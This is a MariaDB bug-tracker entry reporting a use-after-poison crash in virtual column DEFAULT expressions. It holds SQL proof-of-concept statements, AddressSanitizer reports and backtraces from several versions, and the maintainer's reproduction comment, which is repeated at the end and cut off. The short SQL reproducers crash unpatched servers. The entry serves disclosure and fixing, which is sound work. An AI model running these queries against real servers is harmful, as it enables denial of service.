[MDEV-28099] MariaDB UAP issue - Jira

Details

Type: Bug
Status: Closed (View Workflow)
Priority: Blocker
Resolution: Duplicate
Affects Version/s: 10.9.0, 10.2(EOL), 10.3(EOL), 10.4(EOL), 10.5, 10.6, 10.7(EOL)
Fix Version/s: 10.3.35, 10.4.25, 10.5.16, 10.6.8, 10.7.4
Component/s: Virtual Columns
Labels:
None
Environment:
Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

Description

PoC:

CREATE TABLE v0 ( v1 INT UNIQUE PRIMARY KEY ) ;

DROP EVENT IF EXISTS v0 ;

UPDATE v0 SET v1 = -1 WHERE v1 = 'x' ORDER BY 'x' DESC LIMIT 93 ;

ALTER TABLE v0 ADD COLUMN ( MEMORY TINYBLOB DEFAULT ( v1 IN ( DAYNAME ( v1 ) , '' , 'x' 'x' 'x' ) ) UNIQUE ) ;

 UPDATE v0 SET v1 = NULL WHERE ( IF ( v1 AND v1 , 72 , 30 ) ) ;

 INSERT IGNORE INTO v0 SET v1 = ( '' ) + ( ( 'x' / NULL = INET_ATON ( ( v1 OR 'x' ) ) ) ) ;

report (compiled with ASAN):

=================================================================

==9569==ERROR: AddressSanitizer: use-after-poison on address 0x629000088404 at pc 0x0000009086a1 bp 0x7f2f01fad0d0 sp 0x7f2f01fad0c8

READ of size 1 at 0x629000088404 thread T14

    #0 0x9086a0 in Binary_string::free_buffer() /root/mariadb/sql/sql_string.h:224:9

    #1 0x9086a0 in Binary_string::free() /root/mariadb/sql/sql_string.h:680:5

    #2 0x9086a0 in Binary_string::~Binary_string() /root/mariadb/sql/sql_string.h:271:5

    #3 0x9086a0 in Arg_comparator::~Arg_comparator() /root/mariadb/sql/item_cmpfunc.h:45:7

    #4 0x171733a in Item_bool_rowready_func2::~Item_bool_rowready_func2() /root/mariadb/sql/item_cmpfunc.h:535:7

    #5 0x171733a in Item_func_eq::~Item_func_eq() /root/mariadb/sql/item_cmpfunc.h:751:7

    #6 0xaefe90 in Item::delete_self() /root/mariadb/sql/item.h:2522:5

    #7 0xaefe90 in Query_arena::free_items() /root/mariadb/sql/sql_class.cc:3833:16

    #8 0xaefe90 in THD::cleanup_after_query() /root/mariadb/sql/sql_class.cc:2292:3

    #9 0xc41ba9 in dispatch_command(enum_server_command, THD*, char*, unsigned int, bool) /root/mariadb/sql/sql_parse.cc:1894:7

    #10 0xc4b74b in do_command(THD*, bool) /root/mariadb/sql/sql_parse.cc:1402:17

    #11 0x111f9f2 in do_handle_one_connection(CONNECT*, bool) /root/mariadb/sql/sql_connect.cc:1418:11

    #12 0x111f248 in handle_one_connection /root/mariadb/sql/sql_connect.cc:1312:5

    #13 0x1f3f9dd in pfs_spawn_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

    #14 0x7f2f26f57608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477:8

    #15 0x7f2f26c6d162 in clone /build/glibc-sMfBJT/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95

0x629000088404 is located 4612 bytes inside of 16400-byte region [0x629000087200,0x62900008b210)

allocated by thread T14 here:

    #0 0x80f99d in malloc (/usr/local/mysql/bin/mariadbd+0x80f99d)

    #1 0x2a76878 in my_malloc /root/mariadb/mysys/my_malloc.c:90:29

    #2 0x2a582eb in root_alloc /root/mariadb/mysys/my_alloc.c:66:10

    #3 0x2a582eb in reset_root_defaults /root/mariadb/mysys/my_alloc.c:243:30

    #4 0xae83b5 in THD::init_for_queries() /root/mariadb/sql/sql_class.cc:1393:3

    #5 0x111e580 in prepare_new_connection_state(THD*) /root/mariadb/sql/sql_connect.cc:1240:8

    #6 0x1120266 in thd_prepare_connection(THD*) /root/mariadb/sql/sql_connect.cc:1333:3

    #7 0x111f8cc in do_handle_one_connection(CONNECT*, bool) /root/mariadb/sql/sql_connect.cc:1408:9

    #8 0x111f248 in handle_one_connection /root/mariadb/sql/sql_connect.cc:1312:5

    #9 0x1f3f9dd in pfs_spawn_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

    #10 0x7f2f26f57608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477:8

Thread T14 created by T0 here:

    #0 0x7f9cfc in pthread_create (/usr/local/mysql/bin/mariadbd+0x7f9cfc)

    #1 0x1f3fd39 in my_thread_create(unsigned long*, pthread_attr_t const*, void* (*)(void*), void*) /root/mariadb/storage/perfschema/my_thread.h:52:10

    #2 0x1f3fd39 in pfs_spawn_thread_v1 /root/mariadb/storage/perfschema/pfs.cc:2252:15

    #3 0x85cef4 in inline_mysql_thread_create(unsigned int, unsigned long*, pthread_attr_t const*, void* (*)(void*), void*) /root/mariadb/include/mysql/psi/mysql_thread.h:1139:11

    #4 0x85cef4 in create_thread_to_handle_connection(CONNECT*) /root/mariadb/sql/mysqld.cc:5975:19

    #5 0x85e72a in create_new_thread(CONNECT*) /root/mariadb/sql/mysqld.cc:6034:3

    #6 0x85e72a in handle_accepted_socket(st_mysql_socket, st_mysql_socket) /root/mariadb/sql/mysqld.cc:6096:5

    #7 0x85a34c in handle_connections_sockets() /root/mariadb/sql/mysqld.cc:6220:9

    #8 0x84e9ef in mysqld_main(int, char**) /root/mariadb/sql/mysqld.cc:5870:3

    #9 0x7f2f26b720b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: use-after-poison /root/mariadb/sql/sql_string.h:224:9 in Binary_string::free_buffer()

Shadow bytes around the buggy address:

  0x0c5280009030: 00 f7 00 00 00 f7 00 00 f7 00 00 00 00 00 00 00

  0x0c5280009040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 00

  0x0c5280009050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c5280009060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c5280009070: 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 f7 f7

=>0x0c5280009080:[f7]f7 f7 f7 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c5280009090: 00 00 00 00 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7

  0x0c52800090a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 00 f7 00

  0x0c52800090b0: 00 f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c52800090c0: 00 00 00 00 00 00 f7 00 00 00 00 00 00 00 00 00

  0x0c52800090d0: 00 00 00 00 00 00 00 f7 00 00 00 00 00 00 00 00

Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00

  Partially addressable: 01 02 03 04 05 06 07

  Heap left redzone:       fa

  Freed heap region:       fd

  Stack left redzone:      f1

  Stack mid redzone:       f2

  Stack right redzone:     f3

  Stack after return:      f5

  Stack use after scope:   f8

  Global redzone:          f9

  Global init order:       f6

  Poisoned by user:        f7

  Container overflow:      fc

  Array cookie:            ac

  Intra object redzone:    bb

  ASan internal:           fe

  Left alloca redzone:     ca

  Right alloca redzone:    cb

  Shadow gap:              cc

==9569==ABORTING

Attachments

Issue Links

duplicates

MDEV-24176 Server crashes after insert in the table with virtual column generated using date_format() and if()

Closed

MDEV-26407 Server crashes in Item_func_in::cleanup/Item::cleanup_processor

Closed

relates to

MDEV-23597 Assertion `marked_for_read()' failed while evaluating DEFAULT

Closed

links to

CVE-2022-27447

CVE-2022-27458

Activity

Alice Sherepa added a comment - 2022-03-16 13:31 - edited

Thanks!
I repeated on 10.2-10.9, with InnoDB/MyIsam, probably the same as ~~MDEV-26407~~

CREATE TABLE t1 (a int primary key, b int DEFAULT (1 IN (dayname(a),'2'))) ;

UPDATE t1 SET a = 1;

10.2 0f56e21efa68ba3b37d117
mysqld: /10.2/src/sql/field.cc:2203: virtual bool Field_num::get_date(MYSQL_TIME*, ulonglong): Assertion `!table \|\| (!table->read_set \|\| bitmap_is_set(table->read_set, field_index) \|\| (!(ptr >= table->record[0] && ptr < table->record[0] + table->s->reclength)))' failed.
220316 14:05:10 [ERROR] mysqld got signal 6 ;

Server version: 10.2.44-MariaDB-debug-log

/lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fcd927fe006]
sql/field.cc:2204(Field_num::get_date(st_mysql_time*, unsigned long long))[0x55841df2f4ae]
sql/item.cc:2841(Item_field::get_date(st_mysql_time*, unsigned long long))[0x55841e002117]
sql/item.cc:151(Item::get_date_with_conversion(st_mysql_time*, unsigned long long))[0x55841dfebcc0]
sql/item_timefunc.cc:1096(weekday_from_item(Item, bool, bool))[0x55841e2110d8]
sql/item_timefunc.cc:1126(Item_func_dayname::val_str(String*))[0x55841e2117d5]
sql/item_strfunc.cc:129(Item_str_func::val_real())[0x55841e15e1ab]
sql/item_cmpfunc.cc:3809(in_double::set(unsigned int, Item*))[0x55841e080b70]
sql/item_cmpfunc.cc:4218(Item_func_in::create_array(THD*))[0x55841e084507]
sql/item_cmpfunc.cc:4375(Item_func_in::fix_length_and_dec())[0x55841e0859eb]
sql/item_func.cc:230(Item_func::fix_fields(THD, Item*))[0x55841e0df8a5]
sql/item_cmpfunc.cc:4128(Item_func_in::fix_fields(THD, Item*))[0x55841e083803]
sql/table.cc:2814(fix_vcol_expr(THD, Virtual_column_info))[0x55841dc34f18]
sql/table.cc:2842(fix_session_vcol_expr(THD, Virtual_column_info))[0x55841dc354f7]
sql/sql_base.cc:4987(TABLE::fix_vcol_exprs(THD*))[0x55841d855bd7]
sql/sql_base.cc:5019(fix_all_session_vcol_exprs(THD, TABLE_LIST))[0x55841d8560b3]
sql/sql_base.cc:5190(lock_tables(THD, TABLE_LIST, unsigned int, unsigned int))[0x55841d857185]
sql/sql_update.cc:314(mysql_update(THD, TABLE_LIST, List<Item>&, List<Item>&, Item, unsigned int, st_order, unsigned long long, enum_duplicates, bool, unsigned long long, unsigned long long))[0x55841dbf74e9]
sql/sql_parse.cc:4056(mysql_execute_command(THD*))[0x55841d97563c]
sql/sql_parse.cc:7793(mysql_parse(THD, char, unsigned int, Parser_state*, bool, bool))[0x55841d98ed10]
sql/sql_parse.cc:1830(dispatch_command(enum_server_command, THD, char, unsigned int, bool, bool))[0x55841d967f15]
sql/sql_parse.cc:1381(do_command(THD*))[0x55841d964ce0]
sql/sql_connect.cc:1336(do_handle_one_connection(CONNECT*))[0x55841dcf1316]
sql/sql_connect.cc:1242(handle_one_connection)[0x55841dcf0bd9]
perfschema/pfs.cc:1871(pfs_spawn_thread)[0x55841f091a22]
nptl/pthread_create.c:478(start_thread)[0x7fcd9317b609]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x43)[0x7fcd928e9163]

Query (0x62b000000290): UPDATE t1 SET a = 1

on 10.4+:

10.4 069139a549a62f26d5
mysqld: /10.4/src/sql/field.cc:2130: virtual bool Field_int::get_date(MYSQL_TIME*, date_mode_t): Assertion `marked_for_read()' failed.
220316 14:06:57 [ERROR] mysqld got signal 6 ;
Server version: 10.4.25-MariaDB-debug-log

/lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fa5e0944006]
sql/field.cc:2131(Field_int::get_date(st_mysql_time*, date_mode_t))[0x557da6db2ff6]
sql/item.cc:3264(Item_field::get_date(THD, st_mysql_time, date_mode_t))[0x557da6eaf09d]
sql/sql_type.cc:904(Temporal_with_date::make_from_item(THD, Item, date_mode_t))[0x557da6bf4e12]
sql/sql_type.h:1946(Temporal_with_date::Temporal_with_date(THD, Item, date_mode_t))[0x557da63e9f0c]
sql/sql_type.h:2226(Datetime::Datetime(THD, Item, date_mode_t))[0x557da63ea3a7]
sql/item_timefunc.cc:1143(Item_func_dayname::val_str(String*))[0x557da70f3fd3]
sql/item_strfunc.cc:150(Item_str_func::val_real())[0x557da7024b7a]
sql/item_cmpfunc.cc:3867(in_double::set(unsigned int, Item*))[0x557da6f2f4ca]
sql/item_cmpfunc.cc:4431(Item_func_in::fix_in_vector())[0x557da6f3489d]
sql/item_cmpfunc.h:2400(Item_func_in::fix_for_scalar_comparison_using_bisection(THD*))[0x557da6c3c57e]
sql/sql_type.cc:5406(Type_handler_real_result::Item_func_in_fix_comparator_compatible_types(THD, Item_func_in) const)[0x557da6c0d8a0]
sql/item_cmpfunc.cc:4396(Item_func_in::fix_length_and_dec())[0x557da6f34418]
sql/item_func.cc:370(Item_func::fix_fields(THD, Item*))[0x557da6f9a238]
sql/item_cmpfunc.cc:4322(Item_func_in::fix_fields(THD, Item*))[0x557da6f339f5]
sql/table.cc:3270(fix_vcol_expr(THD, Virtual_column_info))[0x557da69b9be4]
sql/table.cc:3298(fix_session_vcol_expr(THD, Virtual_column_info))[0x557da69ba2ba]
sql/sql_base.cc:5488(TABLE::fix_vcol_exprs(THD*))[0x557da6520487]
sql/sql_base.cc:5520(fix_all_session_vcol_exprs(THD, TABLE_LIST))[0x557da6520963]
sql/sql_base.cc:5690(lock_tables(THD, TABLE_LIST, unsigned int, unsigned int))[0x557da6521b80]
sql/sql_update.cc:443(mysql_update(THD, TABLE_LIST, List<Item>&, List<Item>&, Item, unsigned int, st_order, unsigned long long, bool, unsigned long long, unsigned long long))[0x557da696fd8c]
sql/sql_parse.cc:4434(mysql_execute_command(THD*))[0x557da66a87f3]
sql/sql_parse.cc:7995(mysql_parse(THD, char, unsigned int, Parser_state*, bool, bool))[0x557da66c174d]
sql/sql_parse.cc:1860(dispatch_command(enum_server_command, THD, char, unsigned int, bool, bool))[0x557da6697ed4]
sql/sql_parse.cc:1373(do_command(THD*))[0x557da6694951]
sql/sql_connect.cc:1420(do_handle_one_connection(CONNECT*))[0x557da6a9030d]
sql/sql_connect.cc:1317(handle_one_connection)[0x557da6a8fa66]
perfschema/pfs.cc:1871(pfs_spawn_thread)[0x557da779109d]
nptl/pthread_create.c:478(start_thread)[0x7fa5e0e5e609]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x43)[0x7fa5e0a2f163]

Query (0x62b0000a1290): UPDATE t1 SET a = 1

Similar with insert instead of update:

CREATE TABLE t1 (a int primary key, b int DEFAULT (1 IN (dayname(a),'2'))) ;

insert into t1(a) values (1);

If there is no index:

CREATE TABLE t1 (a int, b int DEFAULT (1 IN (dayname(a),'2'))) ;

insert into t1(a) values (1);

insert into t1(a) values (1);

10.2 0f56e21efa68ba3b37d117
Version: '10.2.44-MariaDB-debug-log'
=================================================================
==289599==ERROR: AddressSanitizer: use-after-poison on address 0x62b000000dd0 at pc 0x56107b2b87c3 bp 0x7f59224b5eb0 sp 0x7f59224b5ea0
READ of size 8 at 0x62b000000dd0 thread T27
#0 0x56107b2b87c2 in Item_func_in::cleanup() /10.2/src/sql/item_cmpfunc.h:1673
#1 0x56107af4bdbf in Item::cleanup_processor(void*) /10.2/src/sql/item.cc:680
#2 0x56107a6b5bea in Item::cleanup_excluding_fields_processor(void*) /10.2/src/sql/item.h:1687
#3 0x56107a7ccc80 in Item_func_or_sum::walk(bool (Item::)(void), bool, void*) /10.2/src/sql/item.h:4422
#4 0x56107ab90429 in fix_session_vcol_expr(THD, Virtual_column_info) /10.2/src/sql/table.cc:2840
#5 0x56107a7b0bd6 in TABLE::fix_vcol_exprs(THD*) /10.2/src/sql/sql_base.cc:4988
#6 0x56107a7b10b2 in fix_all_session_vcol_exprs /10.2/src/sql/sql_base.cc:5019
#7 0x56107a7b2184 in lock_tables(THD, TABLE_LIST, unsigned int, unsigned int) /10.2/src/sql/sql_base.cc:5190
#8 0x56107a7b0062 in open_and_lock_tables(THD, DDL_options_st const&, TABLE_LIST, bool, unsigned int, Prelocking_strategy*) /10.2/src/sql/sql_base.cc:4871
#9 0x56107a7273e3 in open_and_lock_tables(THD, TABLE_LIST, bool, unsigned int) /10.2/src/sql/sql_base.h:508
#10 0x56107a868149 in mysql_insert(THD, TABLE_LIST, List<Item>&, List<List<Item> >&, List<Item>&, List<Item>&, enum_duplicates, bool) /10.2/src/sql/sql_insert.cc:758
#11 0x56107a8d1434 in mysql_execute_command(THD*) /10.2/src/sql/sql_parse.cc:4217
#12 0x56107a8e9d0f in mysql_parse(THD, char, unsigned int, Parser_state*, bool, bool) /10.2/src/sql/sql_parse.cc:7793
#13 0x56107a8c2f14 in dispatch_command(enum_server_command, THD, char, unsigned int, bool, bool) /10.2/src/sql/sql_parse.cc:1827
#14 0x56107a8bfcdf in do_command(THD*) /10.2/src/sql/sql_parse.cc:1381
#15 0x56107ac4c315 in do_handle_one_connection(CONNECT*) /10.2/src/sql/sql_connect.cc:1336
#16 0x56107ac4bbd8 in handle_one_connection /10.2/src/sql/sql_connect.cc:1241
#17 0x56107bfeca21 in pfs_spawn_thread /10.2/src/storage/perfschema/pfs.cc:1869
#18 0x7f5939546608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477
#19 0x7f5938cb4162 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x11f162)

0x62b000000dd0 is located 3024 bytes inside of 24716-byte region [0x62b000000200,0x62b00000628c)
allocated by thread T27 here:
#0 0x7f593966e808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x56107c10a926 in sf_malloc /10.2/src/mysys/safemalloc.c:118
#2 0x56107c0d68c1 in my_malloc /10.2/src/mysys/my_malloc.c:101
#3 0x56107c0b36a5 in reset_root_defaults /10.2/src/mysys/my_alloc.c:147
#4 0x56107a807437 in THD::init_for_queries() /10.2/src/sql/sql_class.cc:1316
#5 0x56107ac4b54b in prepare_new_connection_state(THD*) /10.2/src/sql/sql_connect.cc:1172
#6 0x56107ac4bc22 in thd_prepare_connection(THD*) /10.2/src/sql/sql_connect.cc:1256
#7 0x56107ac4c240 in do_handle_one_connection(CONNECT*) /10.2/src/sql/sql_connect.cc:1326
#8 0x56107ac4bbd8 in handle_one_connection /10.2/src/sql/sql_connect.cc:1241
#9 0x56107bfeca21 in pfs_spawn_thread /10.2/src/storage/perfschema/pfs.cc:1869
#10 0x7f5939546608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477

Thread T27 created by T0 here:
#0 0x7f593959b815 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cc:208
#1 0x56107bfece12 in spawn_thread_v1 /10.2/src/storage/perfschema/pfs.cc:1919
#2 0x56107a662293 in inline_mysql_thread_create /10.2/src/include/mysql/psi/mysql_thread.h:1246
#3 0x56107a67a1ea in create_thread_to_handle_connection(CONNECT*) /10.2/src/sql/mysqld.cc:6580
#4 0x56107a67a985 in create_new_thread /10.2/src/sql/mysqld.cc:6650
#5 0x56107a67bb17 in handle_connections_sockets() /10.2/src/sql/mysqld.cc:6908
#6 0x56107a67953b in mysqld_main(int, char**) /10.2/src/sql/mysqld.cc:6199
#7 0x56107a660b4c in main /10.2/src/sql/main.cc:25
#8 0x7f5938bb90b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)

SUMMARY: AddressSanitizer: use-after-poison /10.2/src/sql/item_cmpfunc.h:1673 in Item_func_in::cleanup()
Shadow bytes around the buggy address:
0x0c567fff8160: f7 00 00 00 f7 02 f7 00 00 00 00 00 00 00 00 00
0x0c567fff8170: 00 00 00 00 00 00 00 00 00 f7 00 00 f7 00 00 f7
0x0c567fff8180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 00
0x0c567fff8190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7
0x0c567fff81a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c567fff81b0: f7 00 f7 00 00 00 00 00 00 f7[f7]f7 f7 f7 f7 f7
0x0c567fff81c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c567fff81d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c567fff81e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c567fff81f0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c567fff8200: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==289599==ABORTING
----------SERVER LOG END-------------

this test also crashes on non-debug:

10.6.7
Version: '10.6.7-MariaDB'
220316 14:01:32 [ERROR] mysqld got signal 11 ;

Server version: 10.6.7-MariaDB

sigaction.c:0(__restore_rt)[0x7ff91686b3c0]
sql/item_cmpfunc.h:2115(Predicant_to_list_comparator::Predicant_to_value_comparator::cleanup())[0x564631b2c1d6]
sql/item.cc:574(Item::cleanup_processor(void*))[0x564631a00cfa]
sql/table.cc:3624(fix_session_vcol_expr(THD, Virtual_column_info))[0x564631888bec]
sql/sql_base.cc:5446(TABLE::fix_vcol_exprs(THD*))[0x56463175cc32]
sql/sql_base.cc:5480(lock_tables(THD, TABLE_LIST, unsigned int, unsigned int))[0x56463175d102]
sql/sql_base.cc:5274(open_and_lock_tables(THD, DDL_options_st const&, TABLE_LIST, bool, unsigned int, Prelocking_strategy*))[0x56463175e702]
sql/sql_insert.cc:752(mysql_insert(THD, TABLE_LIST, List<Item>&, List<List<Item> >&, List<Item>&, List<Item>&, enum_duplicates, bool, select_result*))[0x5646317928f8]
sql/sql_parse.cc:4567(mysql_execute_command(THD*, bool))[0x5646317c6f48]
sql/sql_parse.cc:8030(mysql_parse(THD, char, unsigned int, Parser_state*))[0x5646317c959b]
sql/sql_parse.cc:1955(dispatch_command(enum_server_command, THD, char, unsigned int, bool))[0x5646317cb7e7]
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x5646317cce83]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x5646318c2be7]
sql/sql_connect.cc:1318(handle_one_connection)[0x5646318c2e84]
perfschema/pfs.cc:2204(pfs_spawn_thread)[0x564631c560cc]
nptl/pthread_create.c:478(start_thread)[0x7ff91685f609]
??:0(clone)[0x7ff91644b163]

Query (0x7ff8c40108d0): insert into t1(a) values (1)

Alice Sherepa added a comment - 2022-03-16 13:31 - edited Thanks! I repeated on 10.2-10.9, with InnoDB/MyIsam, probably the same as MDEV-26407 CREATE TABLE t1 (a int primary key , b int DEFAULT (1 IN (dayname(a), '2' ))) ; UPDATE t1 SET a = 1; 10.2 0f56e21efa68ba3b37d117 mysqld: /10.2/src/sql/field.cc:2203: virtual bool Field_num::get_date(MYSQL_TIME*, ulonglong): Assertion `!table || (!table->read_set || bitmap_is_set(table->read_set, field_index) || (!(ptr >= table->record[0] && ptr < table->record[0] + table->s->reclength)))' failed. 220316 14:05:10 [ERROR] mysqld got signal 6 ; Server version: 10.2.44-MariaDB-debug-log /lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fcd927fe006] sql/field.cc:2204(Field_num::get_date(st_mysql_time*, unsigned long long))[0x55841df2f4ae] sql/item.cc:2841(Item_field::get_date(st_mysql_time*, unsigned long long))[0x55841e002117] sql/item.cc:151(Item::get_date_with_conversion(st_mysql_time*, unsigned long long))[0x55841dfebcc0] sql/item_timefunc.cc:1096(weekday_from_item(Item*, bool*, bool))[0x55841e2110d8] sql/item_timefunc.cc:1126(Item_func_dayname::val_str(String*))[0x55841e2117d5] sql/item_strfunc.cc:129(Item_str_func::val_real())[0x55841e15e1ab] sql/item_cmpfunc.cc:3809(in_double::set(unsigned int, Item*))[0x55841e080b70] sql/item_cmpfunc.cc:4218(Item_func_in::create_array(THD*))[0x55841e084507] sql/item_cmpfunc.cc:4375(Item_func_in::fix_length_and_dec())[0x55841e0859eb] sql/item_func.cc:230(Item_func::fix_fields(THD*, Item**))[0x55841e0df8a5] sql/item_cmpfunc.cc:4128(Item_func_in::fix_fields(THD*, Item**))[0x55841e083803] sql/table.cc:2814(fix_vcol_expr(THD*, Virtual_column_info*))[0x55841dc34f18] sql/table.cc:2842(fix_session_vcol_expr(THD*, Virtual_column_info*))[0x55841dc354f7] sql/sql_base.cc:4987(TABLE::fix_vcol_exprs(THD*))[0x55841d855bd7] sql/sql_base.cc:5019(fix_all_session_vcol_exprs(THD*, TABLE_LIST*))[0x55841d8560b3] sql/sql_base.cc:5190(lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned int))[0x55841d857185] sql/sql_update.cc:314(mysql_update(THD*, TABLE_LIST*, List<Item>&, List<Item>&, Item*, unsigned int, st_order*, unsigned long long, enum_duplicates, bool, unsigned long long*, unsigned long long*))[0x55841dbf74e9] sql/sql_parse.cc:4056(mysql_execute_command(THD*))[0x55841d97563c] sql/sql_parse.cc:7793(mysql_parse(THD*, char*, unsigned int, Parser_state*, bool, bool))[0x55841d98ed10] sql/sql_parse.cc:1830(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool, bool))[0x55841d967f15] sql/sql_parse.cc:1381(do_command(THD*))[0x55841d964ce0] sql/sql_connect.cc:1336(do_handle_one_connection(CONNECT*))[0x55841dcf1316] sql/sql_connect.cc:1242(handle_one_connection)[0x55841dcf0bd9] perfschema/pfs.cc:1871(pfs_spawn_thread)[0x55841f091a22] nptl/pthread_create.c:478(start_thread)[0x7fcd9317b609] /lib/x86_64-linux-gnu/libc.so.6(clone+0x43)[0x7fcd928e9163] Query (0x62b000000290): UPDATE t1 SET a = 1 on 10.4+: 10.4 069139a549a62f26d5 mysqld: /10.4/src/sql/field.cc:2130: virtual bool Field_int::get_date(MYSQL_TIME*, date_mode_t): Assertion `marked_for_read()' failed. 220316 14:06:57 [ERROR] mysqld got signal 6 ; Server version: 10.4.25-MariaDB-debug-log /lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fa5e0944006] sql/field.cc:2131(Field_int::get_date(st_mysql_time*, date_mode_t))[0x557da6db2ff6] sql/item.cc:3264(Item_field::get_date(THD*, st_mysql_time*, date_mode_t))[0x557da6eaf09d] sql/sql_type.cc:904(Temporal_with_date::make_from_item(THD*, Item*, date_mode_t))[0x557da6bf4e12] sql/sql_type.h:1946(Temporal_with_date::Temporal_with_date(THD*, Item*, date_mode_t))[0x557da63e9f0c] sql/sql_type.h:2226(Datetime::Datetime(THD*, Item*, date_mode_t))[0x557da63ea3a7] sql/item_timefunc.cc:1143(Item_func_dayname::val_str(String*))[0x557da70f3fd3] sql/item_strfunc.cc:150(Item_str_func::val_real())[0x557da7024b7a] sql/item_cmpfunc.cc:3867(in_double::set(unsigned int, Item*))[0x557da6f2f4ca] sql/item_cmpfunc.cc:4431(Item_func_in::fix_in_vector())[0x557da6f3489d] sql/item_cmpfunc.h:2400(Item_func_in::fix_for_scalar_comparison_using_bisection(THD*))[0x557da6c3c57e] sql/sql_type.cc:5406(Type_handler_real_result::Item_func_in_fix_comparator_compatible_types(THD*, Item_func_in*) const)[0x557da6c0d8a0] sql/item_cmpfunc.cc:4396(Item_func_in::fix_length_and_dec())[0x557da6f34418] sql/item_func.cc:370(Item_func::fix_fields(THD*, Item**))[0x557da6f9a238] sql/item_cmpfunc.cc:4322(Item_func_in::fix_fields(THD*, Item**))[0x557da6f339f5] sql/table.cc:3270(fix_vcol_expr(THD*, Virtual_column_info*))[0x557da69b9be4] sql/table.cc:3298(fix_session_vcol_expr(THD*, Virtual_column_info*))[0x557da69ba2ba] sql/sql_base.cc:5488(TABLE::fix_vcol_exprs(THD*))[0x557da6520487] sql/sql_base.cc:5520(fix_all_session_vcol_exprs(THD*, TABLE_LIST*))[0x557da6520963] sql/sql_base.cc:5690(lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned int))[0x557da6521b80] sql/sql_update.cc:443(mysql_update(THD*, TABLE_LIST*, List<Item>&, List<Item>&, Item*, unsigned int, st_order*, unsigned long long, bool, unsigned long long*, unsigned long long*))[0x557da696fd8c] sql/sql_parse.cc:4434(mysql_execute_command(THD*))[0x557da66a87f3] sql/sql_parse.cc:7995(mysql_parse(THD*, char*, unsigned int, Parser_state*, bool, bool))[0x557da66c174d] sql/sql_parse.cc:1860(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool, bool))[0x557da6697ed4] sql/sql_parse.cc:1373(do_command(THD*))[0x557da6694951] sql/sql_connect.cc:1420(do_handle_one_connection(CONNECT*))[0x557da6a9030d] sql/sql_connect.cc:1317(handle_one_connection)[0x557da6a8fa66] perfschema/pfs.cc:1871(pfs_spawn_thread)[0x557da779109d] nptl/pthread_create.c:478(start_thread)[0x7fa5e0e5e609] /lib/x86_64-linux-gnu/libc.so.6(clone+0x43)[0x7fa5e0a2f163] Query (0x62b0000a1290): UPDATE t1 SET a = 1 Similar with insert instead of update: CREATE TABLE t1 (a int primary key , b int DEFAULT (1 IN (dayname(a), '2' ))) ; insert into t1(a) values (1); If there is no index: CREATE TABLE t1 (a int , b int DEFAULT (1 IN (dayname(a), '2' ))) ; insert into t1(a) values (1); insert into t1(a) values (1); 10.2 0f56e21efa68ba3b37d117 Version: '10.2.44-MariaDB-debug-log' ================================================================= ==289599==ERROR: AddressSanitizer: use-after-poison on address 0x62b000000dd0 at pc 0x56107b2b87c3 bp 0x7f59224b5eb0 sp 0x7f59224b5ea0 READ of size 8 at 0x62b000000dd0 thread T27 #0 0x56107b2b87c2 in Item_func_in::cleanup() /10.2/src/sql/item_cmpfunc.h:1673 #1 0x56107af4bdbf in 